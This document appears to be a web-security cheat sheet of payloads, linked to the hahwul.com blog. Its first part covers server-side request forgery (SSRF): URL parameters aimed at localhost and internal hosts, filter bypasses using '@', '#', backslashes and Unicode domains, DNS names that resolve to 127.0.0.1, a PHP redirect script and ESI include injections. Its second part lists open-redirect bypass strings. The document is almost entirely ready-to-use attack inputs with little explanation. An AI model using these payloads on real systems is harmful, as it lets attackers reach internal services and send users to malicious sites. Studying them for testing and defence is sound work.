SSRF

Basic

?url=http://localhost/server-status
?url=http://127.0.0.1/server-status
?url=http://internal_domain/page
?url=http://internal_ip(192.138.0.14)/page

Bypass SSRF with Special chars

?url=http://allow_domain.internal_domain_or_ip/page
?url=http://allow_domain@internal_domain_or_ip/page
?url=http://internal_domain_or_ip#.allow_domain/page
?url=http://internal_domain_or_ip?.allow_domain/page
?url=http://internal_domain_or_ip\.allow_domain/page
?url=https://ⓦⓦⓦ.ⓗⓐⓗⓦⓤⓛ.ⓒⓞⓜ = www.hahwul.com

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Bypass SSRF with Domain CNAME

[ CNAME ]
http://localhost.hahwul.com/server-status

nslookup localhost.hahwul.com
localhost.hahwul.com    canonical name = localhost.
Name:    localhost
Address: 127.0.0.1


[ A-Record ]
http://127.hahwul.com/server-status

(Post link)[https://www.hahwul.com/2019/02/bypass-ssrf-protection-using-domain-cname-arecord.html]

Bypass SSRF with HTTP Redirect

?url=http://your-domain/r.php

[ r.php ]
<?php
header('Location: http://127.0.0.1:8080/server-status');
?>

(Post link)[https://www.hahwul.com/2019/02/bypass-ssrf-protection-using-http-redirect.html]

SSRF with ESIi

<esi:include src=http://127.0.0.1/server-status/>
<esi:include src=http://internal_domain/server_base_csrf_page/>

OpenRedirect

Basic

?url=https://www.hahwul.com

Bypass Open Redirect

?url=https://allow_domain.hahwul.com
?url=https://allow_domain@hahwul.com
?url=https://www.hahwul.com#allow_domain
?url=https://www.hahwul.com?allow_domain
?url=https://www.hahwul.com\allow_domain
?url=https://www.hahwul.com&allow_domain
?url=http:///////////www.hahwul.com
?url=http:\\www.hahwul.com
?url=http:\/\/www.hahwul.com